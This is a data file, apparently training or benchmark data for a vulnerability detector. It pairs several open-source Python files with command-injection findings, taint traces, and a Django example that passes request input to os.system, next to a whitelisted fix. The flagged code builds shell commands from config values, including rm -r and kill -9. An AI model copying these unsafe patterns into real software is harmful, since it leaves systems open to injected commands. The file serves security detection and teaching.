{"id": "48e382d70c399afd4dbc68f7e51633ebd03debbfff85aeda0195a603df834c2e", "license": {"spdx": ["MIT"], "repo": "despargy/Shade", "path": "Tests/tx_test/tx_test.py", "repo_head_hexsha": "8ed54c80154448c2cdc29623c2798a01d594995e", "stack_hexsha": "0198bc7d7e331f567c2abb9859a99cbac7c6a8f9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 19, "entireCode": "from multiprocessing import Process\nimport time, os, threading\n\ndef start_tx(name):\n os.system('python3 {name}'.format(name=name))\n\ndef kill_tx(name):\n temp_filename = 'tmp_pid'\n os.system('ps -ef | grep {name} > {temp_filename}'.format(name=name,temp_filename=temp_filename))\n with open(temp_filename, 'r') as tmp:\n lines = tmp.readlines()\n for line in lines:\n compoments = line.split()\n curr_name = compoments[-1]\n curr_command = compoments[-2]\n \n if curr_name == name and curr_command == 'python3':\n pid = compoments[1]\n os.system('kill -9 {pid}'.format(pid=pid))\n os.system('rm -f {temp_filename}'.format(temp_filename=temp_filename))\n\nif __name__ == '__main__':\n name = 'sdr_code.py'\n threading.Thread(target=start_tx, args=(name,)).start()\n time.sleep(3)\n kill_tx(name)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 10, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readlines"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "17"}}, {"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "compomentskill_tx.compoments[1]"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 19, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "3f9dcc7cd58a7ebcf6331dad08f2ffc1e975f8809121d13ec6ffd7f07dd4f018", "license": {"spdx": ["MIT"], "repo": "elbuco1/AttentionMechanismsTrajectoryPrediction", "path": "src/models/net_samples.py", "repo_head_hexsha": "653f3f4cea55e284a68c8ab01325d8e8307d4ae1", "stack_hexsha": "865693f8cf08f2874c24a42aad9bba96c5b2bdfe", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 102, "entireCode": "from models.rnn_mlp import RNN_MLP\nfrom models.social_attention import SocialAttention\nfrom models.cnn_mlp import CNN_MLP\nfrom models.spatial_attention import SpatialAttention\nfrom models.s2s_spatial_attention import S2sSpatialAtt\nfrom models.s2s_social_attention import S2sSocialAtt\n\n\n\n\n\nimport time\n\nimport json\nimport torch\nimport sys\nimport helpers.helpers_training as helpers\nimport helpers.helpers_evaluation as helpers_evaluation\nimport torch.nn as nn\nimport numpy as np\nimport os \n\ndef main():\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\") \n torch.manual_seed(42)\n \n #loading parameters\n parameters_path = \"./src/parameters/project.json\"\n parameters_project = json.load(open(parameters_path)) \n data_processed_parameters = json.load(open(parameters_project[\"data_processed_parameters\"]))\n evaluation_parameters = json.load(open(parameters_project[\"evaluation_parameters\"])) \n processed_parameters = json.load(open(parameters_project[\"data_processed_parameters\"]))\n\n\n # loading training data\n data_file = parameters_project[\"hdf5_samples\"]\n\n # scene lists for train, eval and test\n eval_scenes = data_processed_parameters[\"eval_scenes\"]\n train_eval_scenes = data_processed_parameters[\"train_scenes\"]\n test_scenes = data_processed_parameters[\"test_scenes\"]\n train_scenes = [scene for scene in train_eval_scenes if scene not in eval_scenes] \n scenes = [train_eval_scenes,train_scenes,test_scenes,eval_scenes]\n\n report_name = evaluation_parameters[\"report_name\"]\n model_name = evaluation_parameters[\"model_name\"]\n models_path = parameters_project[\"models_evaluation\"] + \"{}.tar\".format(model_name)\n\n print(\"loading trained model {}\".format(model_name))\n net = None\n if model_name == \"baseline\":\n args_net = {\n \"offsets\":0,\n \"offsets_input\":0,\n \"use_images\":0\n }\n else:\n checkpoint = torch.load(models_path)\n args_net = checkpoint[\"args\"]\n model = args_net[\"model_name\"] \n\n net = None\n if model == \"rnn_mlp\":\n net = RNN_MLP(args_net)\n elif model == \"cnn_mlp\": \n net = CNN_MLP(args_net) \n elif model == \"social_attention\":\n net = SocialAttention(args_net)\n elif model == \"spatial_attention\":\n net = SpatialAttention(args_net)\n elif model == \"s2s_social_attention\":\n net = SocialAttention(args_net)\n elif model == \"s2s_spatial_attention\":\n net = S2sSpatialAtt(args_net)\n\n # loading trained network\n net.load_state_dict(checkpoint['state_dict'])\n net = net.to(device)\n net.eval()\n\n\n scenes = test_scenes\n set_type_test = evaluation_parameters[\"set_type_test\"]\n\n if set_type_test == \"train\":\n scenes = train_scenes\n elif set_type_test == \"eval\":\n scenes = eval_scenes\n elif set_type_test == \"train_eval\":\n scenes = train_eval_scenes\n\n times = 0 # sum time for every prediction\n nb_samples = 0 # number of predictions\n\n\n dir_name = parameters_project[\"evaluation_reports\"] + \"{}/\".format(report_name)\n sub_dir_name = parameters_project[\"evaluation_reports\"] + \"{}/scene_reports/\".format(report_name) \n\n \n \n if os.path.exists(dir_name):\n os.system(\"rm -r {}\".format(dir_name))\n os.system(\"mkdir {}\".format(dir_name))\n if os.path.exists(sub_dir_name):\n os.system(\"rm -r {}\".format(sub_dir_name))\n os.system(\"mkdir {}\".format(sub_dir_name))\n\n s = time.time()\n for z,scene in enumerate(scenes):\n\n sample_id = 0\n \n print(scene)\n\n scene_dict = {} # save every sample in the scene\n \n # get dataloader\n data_loader = helpers_evaluation.get_data_loader(parameters_project,data_file,scene,args_net,processed_parameters,evaluation_parameters)\n \n sample_id = 0\n\n \n print(time.time()-s)\n \n for batch_idx, data in enumerate(data_loader):\n \n inputs, labels,types,points_mask, active_mask,imgs,target_last,input_last = data\n inputs = inputs.to(device)\n labels = labels.to(device)\n imgs = imgs.to(device)\n b,n,_,_ = inputs.shape\n if not args_net[\"offsets_input\"]:\n input_last = np.zeros_like(inputs.cpu().numpy()) \n\n \n outputs = labels\n if model_name != \"baseline\":\n # active mask for training, along batch*numbr_agent axis\n active_mask = active_mask.to(device)\n\n points_mask = list(points_mask)\n # if not args_net[\"offsets_input\"]:\n # input_last = np.zeros_like(inputs.cpu().numpy()) \n \n\n start = time.time()\n if not args_net[\"use_neighbors\"]:\n outputs,inputs,types,active_mask,points_mask = helpers_evaluation.predict_naive(inputs,types,active_mask,points_mask,net,device,imgs)\n\n\n else:\n\n if not args_net[\"joint_optimisation\"]:\n outputs,inputs,types,active_mask,points_mask = helpers_evaluation.predict_neighbors_disjoint(inputs,types,active_mask,points_mask,net,device)\n else:\n outputs = net((inputs,types,active_mask,points_mask,imgs))\n\n end = time.time() - start \n times += end\n nb_samples += b*n\n\n active_mask = helpers_evaluation.get_active_mask(points_mask[1])\n points_mask = torch.FloatTensor(points_mask[1]).to(device) \n outputs = torch.mul(points_mask,outputs)\n labels = torch.mul(points_mask,labels) # bon endroit?\n # active mask per sample in batch\n\n if not args_net[\"offsets\"]:\n target_last = np.zeros_like(labels.detach().cpu().numpy())\n for i,l,o,t,p, a, il, tl in zip(inputs, labels, outputs, types, points_mask,active_mask, input_last, target_last):\n\n i = i[a].detach().cpu().numpy()\n l = l[a].detach().cpu().numpy()\n t = t[a]\n p = p[a]\n o = o[a].detach().cpu().numpy()\n tl = tl[a]\n il = il[a]\n\n # revert offsets\n i,l,o = helpers.offsets_to_trajectories( i,l,o,args_net[\"offsets\"],args_net[\"offsets_input\"],tl,il)\n \n\n # apply active mask\n scene_dict[sample_id] = {}\n scene_dict[sample_id][\"inputs\"] = i.tolist()\n scene_dict[sample_id][\"labels\"] = l.tolist()\n scene_dict[sample_id][\"outputs\"] = o.tolist()\n # scene_dict[sample_id][\"active_mask\"] = a.cpu().numpy().tolist()\n scene_dict[sample_id][\"types\"] = t.tolist()\n scene_dict[sample_id][\"points_mask\"] = p.cpu().numpy().tolist()\n\n sample_id += 1\n json.dump(scene_dict, open(sub_dir_name + \"{}_samples.json\".format(scene),\"w\"),indent= 0)\n timer = {\n \"total_time\":times,\n \"nb_trajectories\":nb_samples,\n \"time_per_trajectory\":times/nb_samples\n }\n # save the time\n json.dump(timer, open(dir_name + \"time.json\",\"w\"),indent= 0) \n \n\nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "parameters_projectmain.parameters_project[\"evaluation_parameters\"]"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "open"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "evaluation_parametersmain.evaluation_parameters[\"report_name\"]"}}, {"lineNo": 96, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "parameters_projectmain.parameters_project[\"evaluation_reports\"]"}}, {"lineNo": 96, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 101, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "101"}}, {"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 102, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "261a1599279becfb44efe7d92449e3d0a22fd4be2f210f39d9fd0a1dfd3ec02a", "license": {"spdx": ["MIT"], "repo": "rtxx/scripts", "path": "sunset/sunset-gui.py", "repo_head_hexsha": "924dda91cb8019b3c8ea298f8cf272fecaed7d2b", "stack_hexsha": "16ad065784022f37addc2deee241b1a33f8f472c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 32, "entireCode": "#!/usr/bin/python\n# baby 1st python script\n# needs pip install pystray\n# needs pip install schedule\n\nimport os\nimport sys\nimport json\nimport schedule\nimport time\nfrom threading import Thread\nimport pystray\nfrom pystray import Icon as icon, Menu as menu, MenuItem as item\nfrom PIL import Image\n\nPROGDIR=os.path.dirname(os.path.realpath(__file__))\nPROGCONFIGDIR= PROGDIR + '/config'\nPROGCONFIGFILE= PROGCONFIGDIR + '/gui-config.json'\nPROGLOGFILE= PROGDIR + '/sunset.log'\n\ndef lightTheme():\n # loads config.json into f\n with open(PROGCONFIGFILE, 'r') as f:\n configs = json.load(f)\n\n # loads json values into vars\n sunsetLocation = configs['sunsetLocation']\n lightThemeName = configs['lightTheme']\n lightThemeSetting = configs['lightThemeSetting']\n\n # sends info to sunset\n os.system(\"bash \"+ sunsetLocation + \" \" + lightThemeSetting + \" \" + lightThemeName)\n\n # closes config.json\n f.close()\n\ndef darkTheme():\n # loads config.json into f\n with open(PROGCONFIGFILE, 'r') as f:\n configs = json.load(f)\n\n # loads json values into vars\n sunsetLocation = configs['sunsetLocation']\n darkThemeName = configs['darkTheme']\n darkThemeSetting = configs['darkThemeSetting']\n\n # sends info to sunset\n os.system(\"bash \"+ sunsetLocation + \" \" + darkThemeSetting + \" \" + darkThemeName)\n\n # closes config.json\n f.close()\n\ndef editConfig():\n os.system(\"kitty nano \" + PROGCONFIGFILE)\n\ndef openLog():\n os.system(\"kitty nano \" + PROGLOGFILE)\n\ndef scheduleFunction():\n while True:\n schedule.run_pending()\n time.sleep(1)\n\ndef iconTrayFunction():\n icon.run()\n\ndef test():\n now = datetime.now()\n print(now)\n\ndef quit():\n print('Quitting...')\n # https://stackoverflow.com/a/1489838\n # exit and kill all threads\n os._exit(1)\n\nif __name__ == \"__main__\":\n\n image = Image.open(PROGCONFIGDIR + \"/icon.png\")\n menu = (item('Light theme', lightTheme),\n item('Dark Theme', darkTheme),\n item('More...', menu(\n item('Edit config',editConfig),\n item('Open log',openLog),\n item('Exit',quit))))\n\n icon = pystray.Icon(\"sunset\", image, \"sunset\", menu)\n\n schedule.every().day.at(\"10:00\").do(lightTheme)\n schedule.every().day.at(\"18:00\").do(darkTheme)\n\n # creates threads\n scheduleThread = Thread(target=scheduleFunction)\n trayIconThread = Thread(target=iconTrayFunction)\n\n # start threads\n scheduleThread.start()\n trayIconThread.start()\n\n # wait for thread completion\n scheduleThread.join()\n trayIconThread.join()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configslightTheme.configs[\"sunsetLocation\"]"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configslightTheme.configs[\"lightTheme\"]"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configslightTheme.configs[\"lightThemeSetting\"]"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "853afea89656286e1bd1c541439f2338362c9f45ce198d2e2a3ac6c12874a89c", "license": {"spdx": ["MIT"], "repo": "hassanfa/BALSAMIC", "path": "BALSAMIC/commands/init/base.py", "repo_head_hexsha": "f21da145bd233a82f1100c97027e28cdf63498dd", "stack_hexsha": "7198dc884ecdd2d2f73ba2e960e3c2268c4b99a3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 127, "entireCode": "import os\nimport re\nimport logging\nimport subprocess\nfrom pathlib import Path\n\nimport click\nimport graphviz\nimport snakemake\n\nfrom BALSAMIC.utils.constants import BIOINFO_TOOL_ENV, BALSAMIC_DOCKER_PATH, VALID_CONTAINER_CONDA_NAME\nfrom BALSAMIC.utils.cli import write_json, merge_json, CaptureStdout, get_snakefile, SnakeMake\nfrom BALSAMIC import __version__ as balsamic_version\n\nLOG = logging.getLogger(__name__)\n\n\n@click.command(\n \"init\",\n short_help=\"Download matching version for container and build reference\")\n@click.option(\"-o\",\n \"--outdir\",\n \"--out-dir\",\n required=True,\n help=(\"Output directory for ref files.\"\n \"This path will be used as base path for files\"))\n@click.option(\"-v\",\n \"--container-version\",\n show_default=True,\n default=balsamic_version,\n type=click.Choice([\"develop\", \"master\", balsamic_version]),\n help=\"Container for BALSAMIC version to download\")\n@click.option('-f',\n '--force',\n show_default=True,\n default=False,\n is_flag=True,\n help=\"Force re-downloading all containers\")\n@click.option(\"-c\",\n \"--cosmic-key\",\n required=True,\n help=\"cosmic db authentication key\")\n@click.option(\"-s\",\n \"--snakefile\",\n default=get_snakefile('generate_ref'),\n type=click.Path(),\n show_default=True,\n help=\"snakefile for reference generation\")\n@click.option(\"-d\",\n \"--dagfile\",\n default=\"generate_ref_worflow_graph\",\n show_default=True,\n help=\"DAG file for overview\")\n@click.option(\"-g\",\n \"--genome-version\",\n default=\"hg19\",\n type=click.Choice([\"hg19\", \"hg38\"]),\n help=(\"Genome version to prepare reference. Path to genome\"\n \"will be /genome_version\"))\n@click.option(\n '-r',\n '--run-analysis',\n show_default=True,\n default=False,\n is_flag=True,\n help=(\"By default balsamic run_analysis will run in dry run mode.\"\n \"Raise this flag to make the actual analysis\"))\n@click.option(\n '-f',\n '--force-all',\n show_default=True,\n default=False,\n is_flag=True,\n help='Force run all analysis. This is same as snakemake --forceall')\n@click.option('--snakemake-opt',\n multiple=True,\n help='Pass these options directly to snakemake')\n@click.option('-q',\n '--quiet',\n default=False,\n is_flag=True,\n help=('Instruct snakemake to be quiet!'\n 'No output will be printed'))\n@click.pass_context\ndef initialize(context, outdir, container_version, force, cosmic_key,\n snakefile, dagfile, genome_version, run_analysis, force_all,\n quiet, snakemake_opt):\n \"\"\"\n Initialize various resources after first installation.\n - Pull container(s) for BALSAMIC according to matching version\n - Download and build a reference \n \"\"\"\n LOG.info(\"BALSAMIC started with log level %s\" % context.obj['loglevel'])\n\n # resolve outdir to absolute path\n outdir = Path(outdir).resolve()\n\n container_outdir = Path(outdir, balsamic_version, \"containers\")\n pattern = re.compile(r\"^(\\d+\\.)?(\\d+\\.)?(\\*|\\d+)$\")\n if pattern.findall(container_version):\n docker_image_base_name = \"release_v{}\".format(container_version)\n else:\n docker_image_base_name = container_version\n\n for image_suffix in VALID_CONTAINER_CONDA_NAME:\n\n container_stub_url = \"{}:{}-{}\".format(\n BALSAMIC_DOCKER_PATH, docker_image_base_name, image_suffix)\n\n # Pull container\n LOG.info(\"Singularity image source: {}\".format(container_stub_url))\n\n # Set container name according to above docker image name\n Path(container_outdir).mkdir(parents=True, exist_ok=True)\n image_name = Path(container_outdir,\n \"{}.sif\".format(image_suffix)).as_posix()\n LOG.info(\"Image will be downloaded to {}\".format(image_name))\n LOG.info(\"Starting download. This process can take some time...\")\n\n cmd = [\"singularity\", \"pull\", \"--name\", f\"{image_name}\"]\n if force:\n cmd.append(\"--force\")\n cmd.append(container_stub_url)\n\n LOG.info(\"The following command will run: {}\".format(\" \".join(cmd)))\n if run_analysis:\n subprocess.run(\" \".join(cmd), shell=True)\n\n config_path = Path(__file__).parents[2] / \"config\"\n config_path = config_path.absolute()\n\n rule_directory = Path(__file__).parents[2]\n\n config_dict = dict()\n config_dict[\"bioinfo_tools\"] = BIOINFO_TOOL_ENV\n config_dict[\"rule_directory\"] = rule_directory.as_posix() + \"/\"\n config_dict[\"singularity\"] = dict()\n config_dict[\"singularity\"][\"image\"] = container_outdir.as_posix()\n\n reference_outdir = Path(outdir, balsamic_version, genome_version)\n Path(reference_outdir).mkdir(parents=True, exist_ok=True)\n config_json = Path(reference_outdir, \"config.json\").as_posix()\n dagfile_path = Path(reference_outdir, dagfile).as_posix()\n\n config_dict[\"output\"] = reference_outdir.as_posix()\n if cosmic_key:\n config_dict[\"cosmic_key\"] = cosmic_key\n\n config_dict[\"genome_version\"] = genome_version\n\n write_json(config_dict, config_json)\n LOG.info('Reference generation workflow configured successfully - %s' %\n config_json)\n\n with CaptureStdout() as graph_dot:\n snakemake.snakemake(snakefile=snakefile,\n dryrun=True,\n configfiles=[config_json],\n printrulegraph=True)\n\n graph_title = \"_\".join(\n ['BALSAMIC', balsamic_version, 'Generate reference'])\n graph_dot = \"\".join(graph_dot).replace(\n 'snakemake_dag {',\n 'BALSAMIC { label=\"' + graph_title + '\";labelloc=\"t\";')\n graph_obj = graphviz.Source(graph_dot,\n filename=dagfile_path,\n format=\"pdf\",\n engine=\"dot\")\n\n try:\n graph_pdf = graph_obj.render()\n LOG.info('Reference workflow graph generated successfully - %s ' %\n graph_pdf)\n except Exception:\n LOG.error('Reference workflow graph generation failed')\n raise click.Abort()\n\n LOG.info(\"Reference generation workflow started\")\n\n # Singularity bind path\n bind_path = list()\n bind_path.append(config_dict['output'])\n bind_path.append(config_dict['rule_directory'])\n\n # Construct snakemake command to run workflow\n balsamic_run = SnakeMake()\n balsamic_run.working_dir = config_dict['output']\n balsamic_run.snakefile = snakefile\n balsamic_run.configfile = config_json\n balsamic_run.run_mode = \"local\"\n balsamic_run.forceall = force_all\n balsamic_run.run_analysis = run_analysis\n balsamic_run.quiet = quiet\n balsamic_run.sm_opt = list(snakemake_opt) + [\"--cores\", \"1\"]\n\n # Always use singularity\n balsamic_run.use_singularity = True\n balsamic_run.singularity_bind = bind_path\n\n subprocess.run(balsamic_run.build_cmd(), shell=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 126, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "126"}}, {"lineNo": 127, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "8a0b3415bf6cd0f7024c49f5394dd85793d6f27da1f8b1b8c72ea4da088e7f17", "license": {"spdx": ["MIT"], "repo": "anthonyk91/AssistedVolumeSegmentation", "path": "AssistedVolumeSegmentation/get_data_overview.py", "repo_head_hexsha": "5fcbea132a778395f78b6968695a7ce921cc0b3b", "stack_hexsha": "48078ba7ab93f13026e3b8680820c0e8ffefa3d6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 261, "entireCode": "# get overview of data\n# read data from given files, and produce a reduced image of each data file\n\nimport argparse\nimport logging\nimport math\nimport os\nimport shutil\nimport subprocess\nfrom typing import Any, Dict, List, Optional\n\nimport h5py\nimport nibabel as nib\nimport numpy as np\nfrom PIL import Image\nfrom tqdm import tqdm\n\nfrom AssistedVolumeSegmentation.common import (\n default_seg_file,\n get_file_list,\n get_full_path,\n get_source_data_path,\n init_logging,\n load_config,\n overview_bound_size,\n write_annot_file,\n)\n\n\ndef reduce_source_data(\n config: Dict[str, Any],\n bound_size: List[int],\n subdir_num: Optional[int],\n launch_editor: bool,\n reduce_annotation: bool = False,\n source_format: Optional[str] = None,\n data_path: Optional[str] = None,\n write_data_path: Optional[str] = None,\n):\n \"\"\"\n Read source data, from either a stack of tiff files from the given dir or an HDF5 data file, and resize the\n source volume data to the given size.\n\n :param Dict[str, Any] config: Configuration map\n :param List[int] bound_size: Maximum size of the volume, as (height, width, layers)\n :param Optional[int] subdir_num: Number of subdirectory data to read\n :param bool launch_editor: If true, launch slicer editor using the produced overview data\n :param bool reduce_annotation: If true, perform reduction of a generated segmentation. This requires source_format,\n data_path and write_data_path to be defined\n :param Optional[str] source_format: Format of source data (read from config if not specified)\n :param Optional[str] data_path: Path of source data (read from config if not specified)\n :param Optional[str] write_data_path: Path to write reduced data to (read from config if not specified)\n :return: Array of source images reduced to given size\n \"\"\"\n if source_format is None:\n source_format = config[\"source_data_format\"][subdir_num]\n read_tiff_stack = source_format == \"tiff-stack\"\n\n # select source data path according to index in config file. assume source data path is an array\n if data_path is None:\n assert subdir_num is not None\n data_path = get_source_data_path(config, subdir_num)\n if write_data_path is None:\n write_data_path = get_full_path(\n config, subdir_num, \"overview_reduced_data\"\n )\n assert source_format is not None and data_path is not None\n if reduce_annotation:\n logging.info(\n \"Reducing generated annotation, reading from source %s, format %s, writing to %s, bound size %s\"\n % (\n data_path,\n source_format,\n write_data_path,\n bound_size,\n )\n )\n else:\n write_coverage_path = get_full_path(\n config, subdir_num, \"overview_coverage\"\n )\n logging.info(\n \"Producing overview, reading from source %s, format %s, writing to %s, %s, bound size %s\"\n % (\n data_path,\n source_format,\n write_data_path,\n write_coverage_path,\n bound_size,\n )\n )\n\n if read_tiff_stack:\n # get the list of files\n file_list = get_file_list(data_path)\n input_stacks = len(file_list)\n\n # read the first image to get dimensions. assume images are the same size\n first_img = 